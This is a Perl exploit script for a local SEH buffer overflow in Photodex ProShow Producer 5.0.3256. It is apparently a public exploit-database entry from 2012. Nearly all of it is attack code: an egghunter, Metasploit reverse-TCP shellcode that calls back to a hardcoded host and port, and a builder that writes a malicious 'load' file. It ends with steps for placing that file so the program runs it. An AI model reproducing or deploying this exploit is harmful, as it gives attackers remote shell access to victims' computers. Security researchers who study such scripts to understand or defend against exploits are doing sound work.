Photodex ProShow Producer 5.0.3256 Buffer Overflow

`#######################################################################################  
# Exploit Title: Photodex ProShow Producer v5.0.3256 - Local Buffer Overflow Exploit  
# Date: 22/07/2012  
# Author: mr.pr0n (@_pr0n_)  
# Homepage: http://ghostinthelab.wordpress.com/  
# Software Link: http://files.photodex.com/release/pspro_50_3256.exe  
# Version: v5.0.3256  
# Tested on: Windows XP SP3  
# +-----------------------------------------------------+  
# | This vulnerability was discovered and researched |  
# | by Julien Ahrens [from Inshell] |  
# | http://www.exploit-db.com/exploits/19563/ |  
# +-----------------------------------------------------+  
######################################################################################  
  
# The egghunter.  
$egghunter =  
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02".  
"\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".  
"w00t". # <-- The 4 byte tag  
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";  
  
# MSF windows/shell_reverse_tcp  
# LHOST=192.168.178.27 LPORT=4444  
$shellcode =  
"\xb8\x78\x6f\x18\xec\xdb\xcf\xd9\x74\x24\xf4\x5a\x31\xc9\xb1".  
"\x4f\x31\x42\x14\x83\xea\xfc\x03\x42\x10\x9a\x9a\xe4\x04\xd3".  
"\x65\x15\xd5\x83\xec\xf0\xe4\x91\x8b\x71\x54\x25\xdf\xd4\x55".  
"\xce\x8d\xcc\xee\xa2\x19\xe2\x47\x08\x7c\xcd\x58\xbd\x40\x81".  
"\x9b\xdc\x3c\xd8\xcf\x3e\x7c\x13\x02\x3f\xb9\x4e\xed\x6d\x12".  
"\x04\x5c\x81\x17\x58\x5d\xa0\xf7\xd6\xdd\xda\x72\x28\xa9\x50".  
"\x7c\x79\x02\xef\x36\x61\x28\xb7\xe6\x90\xfd\xa4\xdb\xdb\x8a".  
"\x1e\xaf\xdd\x5a\x6f\x50\xec\xa2\x23\x6f\xc0\x2e\x3a\xb7\xe7".  
"\xd0\x49\xc3\x1b\x6c\x49\x10\x61\xaa\xdc\x85\xc1\x39\x46\x6e".  
"\xf3\xee\x10\xe5\xff\x5b\x57\xa1\xe3\x5a\xb4\xd9\x18\xd6\x3b".  
"\x0e\xa9\xac\x1f\x8a\xf1\x77\x3e\x8b\x5f\xd9\x3f\xcb\x38\x86".  
"\xe5\x87\xab\xd3\x9f\xc5\xa3\x10\xad\xf5\x33\x3f\xa6\x86\x01".  
"\xe0\x1c\x01\x2a\x69\xba\xd6\x4d\x40\x7a\x48\xb0\x6b\x7a\x40".  
"\x77\x3f\x2a\xfa\x5e\x40\xa1\xfa\x5f\x95\x65\xab\xcf\x46\xc5".  
"\x1b\xb0\x36\xad\x71\x3f\x68\xcd\x79\x95\x1f\xca\xee\xd6\x88".  
"\x66\xf5\xbe\xca\x86\x1b\x63\x42\x60\x71\x8b\x02\x3b\xee\x32".  
"\x0f\xb7\x8f\xbb\x85\x5f\x33\x29\x42\x9f\x3a\x52\xdd\xc8\x6b".  
"\xa4\x14\x9c\x81\x9f\x8e\x82\x5b\x79\xe8\x06\x80\xba\xf7\x87".  
"\x45\x86\xd3\x97\x93\x07\x58\xc3\x4b\x5e\x36\xbd\x2d\x08\xf8".  
"\x17\xe4\xe7\x52\xff\x71\xc4\x64\x79\x7e\x01\x13\x65\xcf\xfc".  
"\x62\x9a\xe0\x68\x63\xe3\x1c\x09\x8c\x3e\xa5\x39\xc7\x62\x8c".  
"\xd1\x8e\xf7\x8c\xbf\x30\x22\xd2\xb9\xb2\xc6\xab\x3d\xaa\xa3".  
"\xae\x7a\x6c\x58\xc3\x13\x19\x5e\x70\x13\x08";  
  
  
$file = "load"; # The "load" file  
$junk = "\x41" x (9844 - length("w00tw00t") - length($shellcode));  
$nseh = "\xEB\x06\x90\x90"; # short jump 6 bytes  
$seh = "\x73\xb0\x22\x10"; # 0x1022b073 -p/p/r- [if.dnt]  
$nops = "\x90" x (100 - length($egghunter));  
$exploit = $junk."w00tw00t".$shellcode.$nseh.$seh."\x90\x90\x90\x90".$egghunter.$nops;  
open($File,">$file");  
print $File $exploit;  
close($File);  
print " \n[!] The 'load' file, was created successfully (".(length $exploit)." bytes) [!]\n\n";  
print "[+] Place the arbitrary 'load' file, into the application directory.\n";  
print "[+] Execute the application (proshow.exe) \n";  
  
`